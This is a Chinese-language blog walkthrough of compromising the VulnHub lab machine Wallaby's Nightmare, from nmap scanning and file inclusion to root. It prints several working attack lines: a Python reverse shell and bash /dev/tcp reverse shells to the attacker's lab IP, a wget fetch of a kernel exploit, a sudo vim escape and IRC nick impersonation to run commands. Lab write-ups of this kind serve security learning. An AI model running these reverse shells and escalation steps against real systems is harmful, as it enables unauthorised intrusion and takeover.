• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-wallabysnightmare102通关技巧

扫描网段,扫出靶机为166

nmap 192.168.135.0/24 -sP

扫描开放的端口,信息很明确收集80的信息破解22。6667irc和nfs共享挂载有关。

nmap 192.168.135.166

6667端口关闭,先枚举web页面信息。

nmap 192.168.135.166 -p- -sV -sC -A -T5

访问页面,发现输入框我们随便输入yang。

Start开始旅途。我们发现了?page=home这个是否存在包含?

发现确实可以读取文件,那么我们就可以上传一句话木马执行系统命令那shell,这里我们发现用户walfin、steven、ircd

这里再次访问80,发现无法访问。。。

Nikto也无法扫出东西,这里我们回头看发现是80端口关闭了,按照之前打的说是扫描,访问敏感路径时会自动关闭80。。。没有80我们不会完成,所以说只是做了隐藏,或者转换,增加。

Nikto -h http://192.168.135.166

Nmap 192.1168.135.166

我们发现开放了60080端口时http的,说明我们第一次恶意访问80会导致关闭,但是我们可以指定60080

Nmap 192.168.135.166 -p- -A

这里说的是把服务转移到了另一个端口更加安全。我们看看文件包含还存在吗。

我们发现好像没有效果了。。。

我们直接用dirb扫描它,看看有什么有用的路径信息。这里为了截命令下面信息不全不过没关系,一个个枚举。每个信息出现不是yang,就是刚才的首页,只有mailer这个路径访问的页面不一样,我们看看源码。

Dirb http://192.168.135.166:80080/?page=

一进来就发现这里写了可以用?page=mailer&mail=来执行命令。。。

能执行命令就简单了我们直接反弹一个shell回来

用python的socket建立io拿到反弹shell。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.135.155",9900));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

修复稳定的tty,让会话保持稳定不会断掉。

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

Sttt raw -echo; fg

Export TERM=xterm

找内核提权,直接用exp,当然kali有的就是方便的。。。

Uname -a

查找kali是否有exp,并且将其下载到本地,如果靶机安装了gcc的话我建议靶机编译,当然没学过C的不知道编译是什么的也没事,这里给我们了如何编译。

Searchsploit 40839

Searchsploit -m 40839.c

上传exp到靶机

Wget http://192.168.135.155:8000/40839.c

编译是个问题,我按照他的方法编译失败,建议网上找找,反正我.c前还加了-pthread

gcc -pthread 40839.c -o yang -lcrypt

卧槽我崩了,多尝试几次。。。提权方法很多内核容易崩不建议

我们发现sudo也是有提权路线的这个很熟悉吧,在waldo下存在/usr/bin/vim /etc/apache2/sites-available/000-default.conf提权。

Sudo -l

发现是这么个东西,那我们写入shell也能拿到。。。

!bash -i >& /dev/tcp/192.168.135.155/7777 0>&1

这里我干了两遍,为的就是正确。跟着来包ok,记住崩掉后重启靶机(快照)就好,这里会重新开80,懂我意思吧?我们要他开60080才能重新拿到www-data的shell

我们在当前用户下发现了irrsi.sh,这个是一个交流工具。当然我们再查看谁运行的shell,和当前用户的进程

Who

Ps -aux | grep waldo

退出来查看iptables的规则,修改规则

sudo /sbin/iptables -L

sudo iptables -R INPUT 2 -p tcp --dport 6667 -j ACCEPT

接着用nmap扫描端口信息,发现开放了6667irc

查找wallaby的所有的进程,这里发现.sopel,这个就是我们要拿到的shell。

Find / -name wallaby* 2>/dev/null

在wallaby下发现日志信息

我们在default.cfg下发现连接的配置信息,我们发现irssi是两个用户通话,6667端口。名字是wallabyschat。

此时我们登录上irssi就可以成功进入

irssi -c 192.168.135.166 -p 6667 -n wallabyschat

看到两个用户,和waldo的基本信息。

/list

/whois waldo

进入用户界面看到两个用户,退出

/j wallabyschat

/wc

查看另一个用户的信息,可以看到基于sopel运行

/whois wallabysbot

进入目录发现run.py脚本信息,发现只有用户waldo才能运行脚本

这个时候我们有了waldo的shell,此时我们就要想办法拿到wallabyschat的shell了,但是我们发现在wallabyschat里执行命令要waldo的身份才能执行。。。

/j wallabyschat

.run

我们可以看到这里给了提示,我通过我的私有命令和你发送会话。

.help

/wc

执行.run命令此时我们发现无法执行命令,你不是waldo。。。

这里我们必须再次反弹一个新测waldo的shell回来,用vim来杀死waldo的irssi进程,我们重新创建一个irssi的waldo来欺骗irssi。

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

此时我们创建waldo,这个就是假的waldo了。

/nike waldo

这里我们要杀掉waldo的irssi 799/812

Ps -aux | grep waldo

我们在弹一个waldo的shell回来用vim命令执行!kill命令

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

再次查看waldo的irssi进程就没有799/812了,我们就可以伪造waldo拿到shell

上面那个有点乱是吧?其实不用乱,上面那个我还没杀死进程,只是做到那一步是卡了,现在才杀死了进程重新创建了waldo,标志是you’re now known as waldo。

/nick waldo

因为我们杀死了waldo后,我们伪造了一个waldo,进入wallabyschat。执行命令只有waldo才可以执行,我们刚好伪造了waldo,但是我们是进入wallabyschat执行的命令,拿到的就是wallabyschat的shell。我靠第二次打还是卡在这里那么久。。。

/j wallabyschat

.run bash -c 'bash -i >& /dev/tcp/192.168.135.155/9090 0>&1'

兜兜转转还是让我拿到了。。。

到会话里后我们发现sudo 命令不需要密码,可以执行任意命令,我们直接sudo su拿到root权限。

这台靶机也不难,就是有点绕。。。我们通过web页面枚举发现有文件包含,但是执行一次后80就会关闭,但是开放了60080(ssh),我们通过爆破目录发现了可以访问的路径,根据提示发现它可以通过mainler&main执行命令,通过反弹shell拿到了www-data的shell,我们通过枚举发现sudo提权,我们获得waldo的shell后发现有个irssi,之前nmap扫到的6667端口就是登录端口,我们发现另一个wallaby用户,我们发现run脚本可以执行命令,但是只有waldo用户可以执行,我们关掉waldo进程伪造一个waldo,在wallaby里执行命令拿到wallaby的shell,里面可以直接sudo提权拿到root权限。

这台靶机难的不是获得root权限,而是本地用户的横向移动。通过walldo到wallaby。

posted on 2026-10-29 20:34  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3